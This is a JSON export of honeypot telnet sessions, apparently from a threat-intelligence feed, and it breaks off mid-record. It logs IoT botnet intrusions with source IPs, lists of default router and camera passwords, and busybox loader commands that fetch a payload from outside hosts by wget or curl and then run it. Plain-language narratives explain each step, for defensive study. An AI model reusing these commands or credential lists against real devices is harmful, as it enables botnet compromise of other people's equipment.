{"schema":3,"generated_at":"2026-10-22T03:03:03Z","sessions":[{"id":"b47e49bd8511","t":"2026-10-22T03:02:52Z","first_t":"2026-10-21T03:03:07Z","repeats":38615,"merged":true,"ip":"59.103.119.156","cc":"PK","proto":"telnet","duration_s":null,"attempts":[{"u":"mother","p":"fucker","ok":false},{"u":"CUAdmin","p":"CUAdmin","ok":false},{"u":"admin","p":"1234","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin","p":"aquario","ok":false},{"u":"cuadmin","p":"cuadmin","ok":false},{"u":"888888","p":"888888","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"54321","ok":false},{"u":"admin","p":"7ujMko0admin","ok":false},{"u":"admin","p":"BrAhMoS@15","ok":false},{"u":"admin","p":"a1sev5y7c39k","ok":false},{"u":"admin","p":"admin1234","ok":false},{"u":"admin","p":"adminHW","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"plumeria0077","ok":false},{"u":"cht","p":"chtsgpon","ok":false},{"u":"cuadmin","p":"cu@Hnunicom","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"gdcuadmin","p":"gdcuadmin","ok":false},{"u":"gpon","p":"gpon","ok":false},{"u":"guest","p":"123456","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"12345","ok":false},{"u":"root","p":"1234567890","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"666666","ok":false},{"u":"root","p":"888888","ok":true},{"u":"root","p":"Admin","ok":false},{"u":"root","p":"Fireitup","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"default","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"hme12345","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"klv1234","ok":false},{"u":"root","p":"root","ok":true},{"u":"service","p":"service","ok":false},{"u":"super","p":"PhrQjGzk","ok":false}],"attempt_n":[3,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":38620,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":888,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x4c\\x48\\x43\\x48\\x50\\x4a'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x4c\\x48\\x43\\x48\\x50\\x4a'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://175.148.207.181:47139/i ||curl -O http://175.148.207.181:47139/i ||/bin/busybox wget http://175.148.207.181:47139/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x4e\\x4a\\x42\\x4c\\x50\\x45\\x4c\\x51'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[1,1,1,1,1,1,1,1,1,1,1],"commands_total":8693,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('LHCHPJ', 'NJBLPELQ') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 175.148.207[.]181 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":13.42,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "]],"truncated":false},"key":"b6e3f17ab37a","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"2645459aacb8","t":"2026-10-22T03:02:52Z","first_t":"2026-10-21T17:12:04Z","repeats":11521,"merged":true,"ip":"103.74.20.76","cc":"PK","proto":"telnet","duration_s":null,"attempts":[{"u":"admin","p":"12345678","ok":false},{"u":"CUAdmin","p":"CUAdmin","ok":false},{"u":"admin","p":"password","ok":false},{"u":"cuadmin","p":"cu@Hnunicom","ok":false},{"u":"e8telnet","p":"e8telnet","ok":false},{"u":"guest","p":"guest","ok":false},{"u":"nmgcuadmin","p":"nmgcuadmin","ok":false},{"u":"root","p":"12341234","ok":false},{"u":"super","p":"super","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"888888","p":"888888","ok":false},{"u":"8ehomeasb","p":"8ehomeasb","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"123456789","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin","p":"aquario","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"meinsm","ok":false},{"u":"cht","p":"chtsgpon","ok":false},{"u":"cuadmin","p":"cuadmin","ok":false},{"u":"ftp","p":"ftp","ok":false},{"u":"guest","p":"12345","ok":true},{"u":"keomeo","p":"keomeo","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"070admin","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"888888","ok":true},{"u":"root","p":"admin","ok":false},{"u":"root","p":"anko","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"jvbzd","ok":true},{"u":"root","p":"password","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"zlxx","ok":false},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"support","p":"1234","ok":false},{"u":"support","p":"support123","ok":false},{"u":"yhtcAdmin","p":"Cuc@YHfw","ok":false}],"attempt_n":[3,2,2,2,2,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":11521,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":390,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x58\\x56\\x45\\x5a\\x50\\x4f'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x58\\x56\\x45\\x5a\\x50\\x4f'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://39.74.37.181:49018/i ||curl -O http://39.74.37.181:49018/i ||/bin/busybox wget http://39.74.37.181:49018/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x43\\x56\\x5a\\x54\\x45\\x51\\x47\\x47'","config terminal","enable","linuxshell","sh","start","su","system","shell"],"command_n":[4,4,4,4,4,4,4,4,4,4,3],"commands_total":3657,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('XVEZPO', 'CVZTEQGG') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 39.74.37[.]181 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":18.52,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nsupport@svr04:~$ "],[2.24,"start\n-bash: start: command not found\nsupport@svr04:~$ enable\n-bash: enable: command not found\nsupport@svr04:~$ config terminal\n-bash: config: command not found\nsupport@svr04:~$ system\n"],[2.282,"-bash: system: command not found\nsupport@svr04:~$ linuxshell\n-bash: linuxshell: command not found\nsupport@svr04:~$ su\nPassword: \n\nroot@svr04:/home# sh\nroot@svr04:/home# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x58\\x56\\x45\\x5a\\x50\\x4f'\n"],[3.034,"XVEZPO\nroot@svr04:/var# "],[4.259,"/bin/busybox wget;/bin/busybox echo -ne '\\x58\\x56\\x45\\x5a\\x50\\x4f'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nXVEZPOroot@svr04:/var# "],[6.71,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://39.74.37.181:49018/i ||curl -O http://39.74.37.181:49018/i ||/bin/busybox wget http://39.74.37.181:49018/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii"],[6.75," &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x43\\x56\\x5a\\x54\\x45\\x51\\x47\\x47'\n"],[7.187,"--2026-10-21 17:12:24--  http://39.74.37.181:49018/i\nConnecting to 39.74.37.181:49018... connected.\nHTTP request sent, awaiting response... "],[9.955,"\n"],[14.45,"\n--2026-10-21 17:12:31--  http://39.74.37.181:49018/i\nConnecting to 39.74.37.181:49018... connected.\nHTTP request sent, awaiting response... "],[16.133,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nCVZTEQGG\nroot@svr04:/var# "]],"truncated":false},"key":"f9f1f15481a7","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"f1c738096bba","t":"2026-10-22T03:02:52Z","first_t":"2026-10-21T18:00:21Z","repeats":59644,"merged":true,"ip":"153.117.9.202","cc":"PK","proto":"telnet","duration_s":null,"attempts":[{"u":"cunmgadmin","p":"cunmgadmin","ok":false},{"u":"root","p":"root","ok":true},{"u":"admin","p":"gpon","ok":false},{"u":"admin","p":"smcadmin","ok":false},{"u":"root","p":"12341234","ok":false},{"u":"root","p":"666666","ok":false},{"u":"1234","p":"1234","ok":false},{"u":"8ehomeasb","p":"8ehomeasb","ok":false},{"u":"Admin","p":"","ok":false},{"u":"Admin","p":"Admin","ok":false},{"u":"CMCCAdmin","p":"CMCCAdmin","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"1q2w3e","ok":false},{"u":"admin","p":"54321","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"admin","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"admin","p":"conexant","ok":false},{"u":"admin","p":"h@32LuyD","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"administrator","p":"1234","ok":false},{"u":"cuadmin","p":"cu@Hnunicom","ok":false},{"u":"e8ehome","p":"e8ehome","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"operator","p":"operator","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"00000000","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"TeleCom_1234","ok":false},{"u":"root","p":"adminpass","ok":false},{"u":"root","p":"e2008jl","ok":false},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"system","ok":false},{"u":"root","p":"zyad1234","ok":false},{"u":"service","p":"service","ok":false},{"u":"super","p":"PhrQjGzk","ok":false},{"u":"support","p":"support","ok":false},{"u":"tech","p":"tech","ok":false},{"u":"user","p":"1234","ok":false}],"attempt_n":[4,4,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":59644,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":2951,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x51\\x46\\x57\\x50\\x4e\\x57'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x51\\x46\\x57\\x50\\x4e\\x57'","config terminal","enable","linuxshell","sh","shell","start","su","system",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://45.148.148.89:40845/i ||curl -O http://45.148.148.89:40845/i ||/bin/busybox wget http://45.148.148.89:40845/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x42\\x58\\x4d\\x53\\x54\\x56\\x56\\x4a'"],"command_n":[3,3,3,3,3,3,3,3,3,3,1],"commands_total":25638,"distinct_commands":15,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('QFWPNW', 'BXMSTVVJ') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 45.148.148[.]89 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":null,"key":"8fca2841f7b9","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"1e9e108e0078","t":"2026-10-22T03:02:52Z","first_t":"2026-10-21T03:03:22Z","repeats":5616,"merged":true,"ip":"178.141.244.137","cc":"RU","proto":"telnet","duration_s":null,"attempts":[{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"root","p":"25802580","ok":false},{"u":"root","p":"Pon521","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"Manager","p":"friend","ok":false},{"u":"admin","p":"1111","ok":false},{"u":"admin","p":"1111111","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"12345678","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"CenturyL1nk","ok":false},{"u":"admin","p":"a1sev5y7c39k","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"admin","p":"ttcn@77CN","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"admin","p":"vnpt","ok":false},{"u":"cht","p":"chtngpon","ok":false},{"u":"cht","p":"chtsgpon","ok":false},{"u":"cuadmin","p":"cuadmin","ok":false},{"u":"guest","p":"guest","ok":false},{"u":"localadmin","p":"localadmin","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"12341234","ok":false},{"u":"root","p":"123456","ok":false},{"u":"root","p":"12345678","ok":false},{"u":"root","p":"1234567890","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"bluehorse","ok":false},{"u":"root","p":"dreambox","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"hg2x0","ok":false},{"u":"root","p":"klv123","ok":true},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"pass","ok":false},{"u":"root","p":"realtek","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"samsung","ok":false}],"attempt_n":[2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":5616,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":155,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x44\\x53\\x4d\\x50\\x54\\x56'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x44\\x53\\x4d\\x50\\x54\\x56'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://210.208.104.156:40179/i ||curl -O http://210.208.104.156:40179/i ||/bin/busybox wget http://210.208.104.156:40179/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x56\\x4f\\x41\\x4a\\x4a\\x51\\x43\\x42'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[2,2,2,2,2,2,2,2,2,2,2],"commands_total":1514,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('DSMPTV', 'VOAJJQCB') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 210.208.104[.]156 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":41.2,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nroot@svr04:~# "],[3.624,"start\n-bash: start: command not found\nroot@svr04:~# enable\n-bash: enable: command not found\nroot@svr04:~# config terminal\n"],[3.666,"-bash: config: command not found\nroot@svr04:~# system\n-bash: system: command not found\nroot@svr04:~# linuxshell\n-bash: linuxshell: command not found\nroot@svr04:~# su\nroot@svr04:~# shell\n-bash: shell: command not found\nroot@svr04:~# sh\n"],[3.712,"root@svr04:~# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x44\\x53\\x4d\\x50\\x54\\x56'\n"],[4.815,"DSMPTV\nroot@svr04:/var# "],[13.0,"/bin/busybox wget;/bin/busybox echo -ne '\\x44\\x53\\x4d\\x50\\x54\\x56'\nwget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nDSMPTVroot@svr04:/var# "],[16.903,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://210.208.104.156:40179/i ||curl -O http://210.208.104.15"],[16.943,"6:40179/i ||/bin/busybox wget http://210.208.104.156:40179/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x56\\x4f\\x41\\x4a\\x4a\\x51\\x43\\x42'\n"],[17.207,"--2026-10-20 06:18:33--  http://210.208.104.156:40179/i\nConnecting to 210.208.104.156:40179... connected.\nHTTP request sent, awaiting response... "],[21.188,"\n"],[24.091,"\n--2026-10-20 06:18:40--  http://210.208.104.156:40179/i\nConnecting to 210.208.104.156:40179... connected.\nHTTP request sent, awaiting response... "],[25.773,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nVOAJJQCB\nroot@svr04:/var# "]],"truncated":false},"key":"2561529aca7f","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"6a5456fddf38","t":"2026-10-22T03:02:52Z","first_t":"2026-10-21T03:03:12Z","repeats":6017,"merged":true,"ip":"61.53.207.240","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"","ok":false},{"u":"1234","p":"1234","ok":false},{"u":"TMAR#DLKT20060205","p":"DLKT20060205","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"epicrouter","ok":false},{"u":"Admin","p":"","ok":false},{"u":"Manager","p":"friend","ok":false},{"u":"admin","p":"12345","ok":false},{"u":"admin","p":"123456","ok":false},{"u":"admin","p":"1234567890","ok":false},{"u":"admin","p":"88888888","ok":false},{"u":"admin","p":"BrAhMoS@15","ok":false},{"u":"admin","p":"a1sev5y7c39k","ok":false},{"u":"admin","p":"chzhdpl","ok":false},{"u":"admin","p":"gpon@Vnt00","ok":false},{"u":"admin","p":"ho4uku6at","ok":false},{"u":"admin","p":"password","ok":false},{"u":"admin1","p":"password","ok":false},{"u":"cuadmin","p":"cu@Hnunicom","ok":false},{"u":"cunmgadmin","p":"cunmgadmin","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"guest","p":"guest","ok":false},{"u":"keomeo","p":"keomeo","ok":false},{"u":"operator","p":"operator","ok":false},{"u":"root","p":"1111","ok":false},{"u":"root","p":"123456","ok":false},{"u":"root","p":"20080826","ok":false},{"u":"root","p":"2011vesta","ok":false},{"u":"root","p":"dreambox","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"helpme","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"jvbzd","ok":true},{"u":"root","p":"klv123","ok":false},{"u":"root","p":"kopp","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"samsung","ok":false},{"u":"root","p":"svgodie","ok":false},{"u":"root","p":"system","ok":false},{"u":"super","p":"xJ4pCYeW","ok":false}],"attempt_n":[3,2,2,2,2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1],"attempts_total":6018,"distinct_creds":164,"distinct_users":48,"distinct_passwords":130,"got_shell":true,"shell_sessions":171,"commands":["/bin/busybox wget;/bin/busybox echo -ne '\\x43\\x52\\x44\\x49\\x47\\x56'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x43\\x52\\x44\\x49\\x47\\x56'",">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://45.148.148.89:40845/i ||curl -O http://45.148.148.89:40845/i ||/bin/busybox wget http://45.148.148.89:40845/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x59\\x4a\\x41\\x49\\x45\\x50\\x59\\x44'","config terminal","enable","linuxshell","sh","shell","start","su","system"],"command_n":[2,2,2,2,2,2,2,2,2,2,2],"commands_total":1711,"distinct_commands":11,"narrative":["Asked for a shell 8 different ways, which is what malware does when it does not yet know whether it is on a router, a camera or a real server.","Echoed a hex-encoded marker back 3 times ('CRDIGV', 'YJAIEPYD') to confirm the shell was real and running its commands.","Hunted for a writable directory, testing 7 paths in turn (/var/run, /mnt, /usr, /dev, and more).","Checked which download tools busybox has.","Tried to download a payload from 45.148.148[.]89 using wget and curl, falling back from one to the next. Nothing was fetched: this honeypot is not allowed to make outbound connections.","Probed for busybox, which is the shell it expects to find on an embedded device.","Cleaned up after itself, deleting files it had created."],"tags":["shell-hunt","marker-echo","writable-hunt","loader-prep","payload-fetch","busybox","cleanup"],"replay":{"version":2,"duration_s":15.67,"frames":[[0.001,"\nThe programs included with the Debian GNU/Linux system are free software;\nthe exact distribution terms for each program are described in the\nindividual files in /usr/share/doc/*/copyright.\n\nDebian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent\npermitted by applicable law.\nkeomeo@svr04:~$ "],[3.791,"start\n-bash: start: command not found\nkeomeo@svr04:~$ enable\n-bash: enable: command not found\nkeomeo@svr04:~$ config terminal\n"],[3.838,"-bash: config: command not found\nkeomeo@svr04:~$ system\n-bash: system: command not found\nkeomeo@svr04:~$ linuxshell\n-bash: linuxshell: command not found\nkeomeo@svr04:~$ su\nPassword: \n\nroot@svr04:/home# sh\n"],[3.885,"root@svr04:/home# >/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;/bin/busybox echo -e '\\x43\\x52\\x44\\x49\\x47\\x"],[3.925,"56'\n"],[4.658,"CRDIGV\nroot@svr04:/var# "],[5.979,"/bin/busybox wget;/bin/busybox echo -ne '\\x43\\x52\\x44\\x49\\x47\\x56'\n"],[6.028,"wget: missing URL\nUsage: wget [OPTION]... [URL]...\n\nTry `wget --help' for more options.\nCRDIGVroot@svr04:/var# "],[8.784,">/var/run/.x&&cd /var/run;>/mnt/.x&&cd /mnt;>/usr/.x&&cd /usr;>/dev/.x&&cd /dev;>/dev/shm/.x&&cd /dev/shm;>/tmp/.x&&cd /tmp;>/var/.x&&cd /var;rm -rf i;wget http://45.148.148.89:40845/i ||curl -O http://45.148.148.89:40845/i ||/b"],[8.824,"in/busybox wget http://45.148.148.89:40845/i;chmod 777 i ||(cp /bin/ls ii;cat i>ii &&rm i;cp ii i;rm ii);./i;/bin/busybox echo -e '\\x59\\x4a\\x41\\x49\\x45\\x50\\x59\\x44'\n"],[9.256,"--2026-10-16 13:20:32--  http://45.148.148.89:40845/i\nConnecting to 45.148.148.89:40845... connected.\nHTTP request sent, awaiting response... "],[10.332,"\n"],[11.812,"\n--2026-10-16 13:20:35--  http://45.148.148.89:40845/i\nConnecting to 45.148.148.89:40845... connected.\nHTTP request sent, awaiting response... "],[15.004,"\nchmod: cannot access 'i': No such file or directory\n-bash: ./i: No such file or directory\nYJAIEPYD\nroot@svr04:/var# "]],"truncated":false},"key":"7adc0a5bfc02","attack":{"type":"iot-botnet","name":"Router and camera botnet","badges":[],"mix":[{"type":"iot-botnet","name":"Router and camera botnet"}]}},{"id":"4f55d074545f","t":"2026-10-22T03:02:52Z","first_t":"2026-10-21T03:03:07Z","repeats":5973,"merged":true,"ip":"42.224.227.109","cc":"CN","proto":"telnet","duration_s":null,"attempts":[{"u":"root","p":"1234horses","ok":false},{"u":"root","p":"25802580","ok":false},{"u":"root","p":"Zte521","ok":false},{"u":"root","p":"zlxx","ok":false},{"u":"super","p":"xJ4pCYeW","ok":false},{"u":"ximo","p":"","ok":false},{"u":"666666","p":"666666","ok":false},{"u":"Admin","p":"Admin","ok":false},{"u":"CMCCAdmin","p":"CMCCAdmin","ok":false},{"u":"admin","p":"1q2w3e","ok":false},{"u":"admin","p":"888888","ok":false},{"u":"admin","p":"GeNeXiS@19","ok":false},{"u":"admin","p":"cat1029","ok":false},{"u":"admin","p":"gpon","ok":false},{"u":"admin","p":"meinsm","ok":false},{"u":"admin","p":"pass","ok":false},{"u":"admin","p":"v2mprt","ok":false},{"u":"cuadmin","p":"cuadmin","ok":false},{"u":"e8ehome1","p":"e8ehome1","ok":false},{"u":"mother","p":"fucker","ok":false},{"u":"nmgcuadmin","p":"nmgcuadmin","ok":false},{"u":"rapport","p":"r@p8p0r+","ok":false},{"u":"root","p":"","ok":false},{"u":"root","p":"12341234","ok":false},{"u":"root","p":"1234567890","ok":false},{"u":"root","p":"2010vesta","ok":false},{"u":"root","p":"7ujMko0vizxv","ok":false},{"u":"root","p":"GM8182","ok":false},{"u":"root","p":"default","ok":false},{"u":"root","p":"dreambox","ok":false},{"u":"root","p":"gpon","ok":false},{"u":"root","p":"helpme","ok":false},{"u":"root","p":"hi3518","ok":false},{"u":"root","p":"juantech","ok":false},{"u":"root","p":"realtek","ok":false},{"u":"root","p":"root","ok":true},{"u":"root","p":"xmhdipc","ok":false},{"u"